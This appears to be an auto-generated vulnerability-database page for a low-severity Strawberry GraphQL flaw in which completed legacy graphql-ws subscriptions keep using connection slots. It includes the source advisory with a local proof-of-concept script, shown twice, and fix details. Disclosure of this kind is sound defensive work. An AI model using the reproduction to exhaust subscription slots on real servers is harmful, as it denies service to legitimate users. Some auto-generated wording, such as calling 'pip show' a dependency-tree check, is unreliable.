CVE-2026-107727: Strawberry graphql Strawberry Legacy Graphql-ws Retains Naturally Vulnerability

LOW
Advisory Identifier: GHSA-m952-2w3f-6r8h
CVSS 3.7
CWE-400
Published
Advisory Summary

CVE-2026-107727 is a LOW (CVSS 3.7) strawberry legacy graphql-ws retains naturally vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Strawberry graphql libraries in the PyPI ecosystem. The issue involves strawberry legacy graphql-ws retains naturally completed subscription slots. Remediation is available by upgrading affected packages to version 0.327.2.

CVE-2026-107727 at a Glance

CVE Identifier CVE-2026-107727
GHSA Identifier GHSA-m952-2w3f-6r8h
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Strawberry graphql
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-107727

To remediate this vulnerability, upgrade all affected Strawberry graphql dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

strawberry-graphql fixed: 0.327.2
pip install strawberry-graphql>=0.327.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show strawberry-graphql

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-107727, inspect your installed packages using pip:

pip show strawberry-graphql

Analyze the terminal output to locate any version of Strawberry graphql in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.327.2), your application is affected.

Note: The pip show strawberry-graphql command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Strawberry graphql, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Strawberry's legacy `graphql-ws` subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its `complete` message. When the application configures `max_subscriptions_per_connection`, the handler counts those completed operations in `len(self.tasks)`. A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive `Subscription limit reached`. This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy `graphql-ws` protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured `max_subscriptions_per_connection` limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue. ### Details The audited snapshot is Strawberry `0.324.4`, commit `c3caabd1188acda62045e7fd9ba9e37ac430cf96`. The relevant implementation is in [`[strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py)`](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths. When a new operation is started, the handler rejects it once the task count reaches the configured limit: ```python if ( self.max_subscriptions_per_connection is not None and len(self.tasks) >= self.max_subscriptions_per_connection ): await self.send_message( ErrorMessage( type="error", id=operation_id, payload={"message": "Subscription limit reached"}, ) ) return ``` The operation task is stored in `self.tasks`, and its result source is stored in `self.subscriptions`. On normal exhaustion of the result source, `handle_async_results()` sends a completion message: ```python async for result in result_source: await self.send_data_message(result, operation_id) await self.send_message( CompleteMessage(type="complete", id=operation_id) ) ``` The natural completion path does not call `cleanup_operation()` before returning. The deletion of the stored operation state is implemented separately: ```python async def cleanup_operation(self, operation_id: str) -> None: if operation_id in self.subscriptions: await self.subscriptions[operation_id].aclose() del self.subscriptions[operation_id] self.tasks[operation_id].cancel() await self.tasks[operation_id] del self.tasks[operation_id] ``` Consequently, after a one-shot operation has sent `complete`, its task entry can remain in `self.tasks` until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected. The connection-slot impact requires both parts of the behavior: 1. the natural-completion path leaves the completed operation accounted for; and 2. the legacy handler has `max_subscriptions_per_connection` enabled. ### PoC The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy `graphql-ws` subprotocol. It does not connect to a public endpoint or start a network service. #### 1. Environment installation Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency: ```bash python -m pip install "strawberry-graphql[channels]==0.324.4" daphne ``` For a different tested release, replace `0.324.4` and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server. Record the actual versions before testing: ```bash python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))" ``` #### 2. Save the bounded test Save the following as `poc.py`: ```python import asyncio from django.conf import settings if not settings.configured: settings.configure( SECRET_KEY="local-validation-only", CHANNEL_LAYERS={ "default": { "BACKEND": "channels.layers.InMemoryChannelLayer", } }, ) import strawberry from channels.testing import WebsocketCommunicator from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer from strawberry.schema import Schema from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL @strawberry.type class Query: @strawberry.field def ping(self) -> str: return "pong" @strawberry.type class Subscription: @strawberry.subscription async def one_shot(self) -> str: yield "marker" schema = Schema(query=Query, subscription=Subscription) application = GraphQLWSConsumer.as_asgi( schema=schema, subscription_protocols=(GRAPHQL_WS_PROTOCOL,), max_subscriptions_per_connection=2, ) async def receive_until_complete(communicator, operation_id): messages = [] for _ in range(3): message = await asyncio.wait_for( communicator.receive_json_from(), timeout=2 ) messages.append(message) if ( message.get("type") == "complete" and message.get("id") == operation_id ): return messages raise AssertionError( f"no complete message for {operation_id}: {messages}" ) async def main() -> None: communicator = WebsocketCommunicator( application, "/graphql", subprotocols=[GRAPHQL_WS_PROTOCOL], ) connected, accepted_protocol = await communicator.connect() assert connected assert accepted_protocol == GRAPHQL_WS_PROTOCOL try: await communicator.send_json_to({"type": "connection_init"}) ack = await communicator.receive_json_from() assert ack["type"] == "connection_ack" query = "subscription { oneShot }" await communicator.send_json_to( { "type": "start", "id": "one", "payload": {"query": query}, } ) first_messages = await receive_until_complete( communicator, "one" ) await communicator.send_json_to( { "type": "start", "id": "two", "payload": {"query": query}, } ) second_messages = await receive_until_complete( communicator, "two" ) # Allow completed handler tasks to finish their sends before the # third operation is started. await asyncio.sleep(0) await communicator.send_json_to( { "type": "start", "id": "three", "payload": {"query": query}, } ) third_message = await asyncio.wait_for( communicator.receive_json_from(), timeout=2 ) print( { "first": first_messages, "second": second_messages, "third": third_message, } ) finally: await communicator.disconnect() asyncio.run(main()) ``` #### 3. Run ```bash python poc.py ``` #### 4. Expected results A fixed implementation should send `data` and `complete` for both `one` and `two`, then permit `three` to start and complete. The behavior is: ```text { 'first': [ {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'one'} ], 'second': [ {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'two'} ], 'third': { 'type': 'error', 'id': 'three', 'payload': {'message': 'Subscription limit reached'} } } ``` The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that `one` and `two` both receive `complete`, while `three` receives `Subscription limit reached` with a different operation ID. ## Impact When the legacy `graphql-ws` protocol and `max_subscriptions_per_connection` are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active. The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service. Exposure depends on: - the application explicitly enabling the legacy `graphql-ws` protocol; - the application configuring `max_subscriptions_per_connection`; - clients being able to maintain a persistent WebSocket connection; - the resolver exposing a finite operation that naturally completes; - the absence of effective connection lifetime, connection-count, authorization, or rate limits. This report does not claim impact on the modern `graphql-transport-ws` protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior. ### Maintainer note Confirmed and reproduced against 0.327.0. The `max_subscriptions_per_connection` feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0. Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late `stop` for a completed operation is a no-op. The fix was released in 0.327.2.

CVE-2026-107727 Affected Strawberry graphql Versions

1 component(s)
Fixed Versions:
0.327.2
Product / Package Ecosystem Affected Versions Fixed Version
strawberry-graphql
PyPI
≥ 0.312.3
< 0.327.2
0.327.2

References

Frequently Asked Questions

What is CVE-2026-107727?
CVE-2026-107727 is a security vulnerability in Strawberry graphql involving Strawberry legacy graphql-ws retains naturally completed subscription slots under CWE-400: Uncontrolled Resource Consumption.
Which Strawberry graphql versions are affected?
Affected versions include releases prior to 0.327.2 across affected packages: strawberry-graphql.
What version fixes CVE-2026-107727?
Upgrading to 0.327.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is strawberry-graphql affected?
Yes, strawberry-graphql is affected in releases prior to 0.327.2. Upgrade your dependency to 0.327.2 or later.
What is the CVSS score of CVE-2026-107727?
CVE-2026-107727 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-107727?
CVE-2026-107727 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-107727?
Run the dependency tree command: 'pip show strawberry-graphql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m952-2w3f-6r8h",
  "modified" : "2026-10-09T14:07:20Z",
  "published" : "2026-10-09T14:07:20Z",
  "aliases" : [ "CVE-2026-107727" ],
  "summary" : "Strawberry legacy graphql-ws retains naturally completed subscription slots",
  "details" : "### Summary\n\nStrawberry's legacy `graphql-ws` subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its `complete` message. When the application configures `max_subscriptions_per_connection`, the handler counts those completed operations in `len(self.tasks)`. A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive `Subscription limit reached`.\n\nThis is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy `graphql-ws` protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured `max_subscriptions_per_connection` limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.\n\n### Details\n\nThe audited snapshot is Strawberry `0.324.4`, commit `c3caabd1188acda62045e7fd9ba9e37ac430cf96`. The relevant implementation is in [`[strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py)`](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.\n\nWhen a new operation is started, the handler rejects it once the task count reaches the configured limit:\n\n```python\nif (\n    self.max_subscriptions_per_connection is not None\n    and len(self.tasks) >= self.max_subscriptions_per_connection\n):\n    await self.send_message(\n        ErrorMessage(\n            type=\"error\",\n            id=operation_id,\n            payload={\"message\": \"Subscription limit reached\"},\n        )\n    )\n    return\n```\n\nThe operation task is stored in `self.tasks`, and its result source is stored in `self.subscriptions`. On normal exhaustion of the result source, `handle_async_results()` sends a completion message:\n\n```python\nasync for result in result_source:\n    await self.send_data_message(result, operation_id)\n\nawait self.send_message(\n    CompleteMessage(type=\"complete\", id=operation_id)\n)\n```\n\nThe natural completion path does not call `cleanup_operation()` before returning. The deletion of the stored operation state is implemented separately:\n\n```python\nasync def cleanup_operation(self, operation_id: str) -> None:\n    if operation_id in self.subscriptions:\n        await self.subscriptions[operation_id].aclose()\n        del self.subscriptions[operation_id]\n\n    self.tasks[operation_id].cancel()\n    await self.tasks[operation_id]\n    del self.tasks[operation_id]\n```\n\nConsequently, after a one-shot operation has sent `complete`, its task entry can remain in `self.tasks` until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.\n\nThe connection-slot impact requires both parts of the behavior:\n\n1. the natural-completion path leaves the completed operation accounted for; and\n2. the legacy handler has `max_subscriptions_per_connection` enabled.\n\n### PoC\n\nThe following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy `graphql-ws` subprotocol. It does not connect to a public endpoint or start a network service.\n\n#### 1. Environment installation\n\nCreate an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:\n\n```bash\npython -m pip install \"strawberry-graphql[channels]==0.324.4\" daphne\n```\n\nFor a different tested release, replace `0.324.4` and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.\n\nRecord the actual versions before testing:\n\n```bash\npython -c \"import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))\"\n```\n\n#### 2. Save the bounded test\n\nSave the following as `poc.py`:\n\n```python\nimport asyncio\n\nfrom django.conf import settings\n\nif not settings.configured:\n    settings.configure(\n        SECRET_KEY=\"local-validation-only\",\n        CHANNEL_LAYERS={\n            \"default\": {\n                \"BACKEND\": \"channels.layers.InMemoryChannelLayer\",\n            }\n        },\n    )\n\nimport strawberry\nfrom channels.testing import WebsocketCommunicator\n\nfrom strawberry.channels.handlers.ws_handler import GraphQLWSConsumer\nfrom strawberry.schema import Schema\nfrom strawberry.subscriptions import GRAPHQL_WS_PROTOCOL\n\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def ping(self) -> str:\n        return \"pong\"\n\n\n@strawberry.type\nclass Subscription:\n    @strawberry.subscription\n    async def one_shot(self) -> str:\n        yield \"marker\"\n\n\nschema = Schema(query=Query, subscription=Subscription)\n\napplication = GraphQLWSConsumer.as_asgi(\n    schema=schema,\n    subscription_protocols=(GRAPHQL_WS_PROTOCOL,),\n    max_subscriptions_per_connection=2,\n)\n\n\nasync def receive_until_complete(communicator, operation_id):\n    messages = []\n    for _ in range(3):\n        message = await asyncio.wait_for(\n            communicator.receive_json_from(), timeout=2\n        )\n        messages.append(message)\n        if (\n            message.get(\"type\") == \"complete\"\n            and message.get(\"id\") == operation_id\n        ):\n            return messages\n    raise AssertionError(\n        f\"no complete message for {operation_id}: {messages}\"\n    )\n\n\nasync def main() -> None:\n    communicator = WebsocketCommunicator(\n        application,\n        \"/graphql\",\n        subprotocols=[GRAPHQL_WS_PROTOCOL],\n    )\n    connected, accepted_protocol = await communicator.connect()\n    assert connected\n    assert accepted_protocol == GRAPHQL_WS_PROTOCOL\n\n    try:\n        await communicator.send_json_to({\"type\": \"connection_init\"})\n        ack = await communicator.receive_json_from()\n        assert ack[\"type\"] == \"connection_ack\"\n\n        query = \"subscription { oneShot }\"\n\n        await communicator.send_json_to(\n            {\n                \"type\": \"start\",\n                \"id\": \"one\",\n                \"payload\": {\"query\": query},\n            }\n        )\n        first_messages = await receive_until_complete(\n            communicator, \"one\"\n        )\n\n        await communicator.send_json_to(\n            {\n                \"type\": \"start\",\n                \"id\": \"two\",\n                \"payload\": {\"query\": query},\n            }\n        )\n        second_messages = await receive_until_complete(\n            communicator, \"two\"\n        )\n\n        # Allow completed handler tasks to finish their sends before the\n        # third operation is started.\n        await asyncio.sleep(0)\n\n        await communicator.send_json_to(\n            {\n                \"type\": \"start\",\n                \"id\": \"three\",\n                \"payload\": {\"query\": query},\n            }\n        )\n        third_message = await asyncio.wait_for(\n            communicator.receive_json_from(), timeout=2\n        )\n\n        print(\n            {\n                \"first\": first_messages,\n                \"second\": second_messages,\n                \"third\": third_message,\n            }\n        )\n    finally:\n        await communicator.disconnect()\n\n\nasyncio.run(main())\n```\n\n#### 3. Run\n\n```bash\npython poc.py\n```\n\n#### 4. Expected results\n\nA fixed implementation should send `data` and `complete` for both `one` and `two`, then permit `three` to start and complete.\n\nThe behavior is:\n\n```text\n{\n  'first': [\n    {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},\n    {'type': 'complete', 'id': 'one'}\n  ],\n  'second': [\n    {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},\n    {'type': 'complete', 'id': 'two'}\n  ],\n  'third': {\n    'type': 'error',\n    'id': 'three',\n    'payload': {'message': 'Subscription limit reached'}\n  }\n}\n```\n\nThe exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that `one` and `two` both receive `complete`, while `three` receives `Subscription limit reached` with a different operation ID.\n\n\n## Impact\n\nWhen the legacy `graphql-ws` protocol and `max_subscriptions_per_connection` are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.\n\nThe primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.\n\nExposure depends on:\n\n- the application explicitly enabling the legacy `graphql-ws` protocol;\n- the application configuring `max_subscriptions_per_connection`;\n- clients being able to maintain a persistent WebSocket connection;\n- the resolver exposing a finite operation that naturally completes;\n- the absence of effective connection lifetime, connection-count, authorization, or rate limits.\n\nThis report does not claim impact on the modern `graphql-transport-ws` protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.\n\n### Maintainer note\n\nConfirmed and reproduced against 0.327.0. The `max_subscriptions_per_connection` feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.\n\nFixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late `stop` for a completed operation is a no-op. The fix was released in 0.327.2.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "strawberry-graphql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.312.3"
      }, {
        "fixed" : "0.327.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-m952-2w3f-6r8h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107727"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/pull/4610"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/commit/24c5e46d57f7ad4f77e6e01fb8ae482dd1c0ff92"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/strawberry-graphql/strawberry"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/releases/tag/0.327.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T14:07:20Z",
    "nvd_published_at" : "2026-10-08T23:16:58Z"
  }
}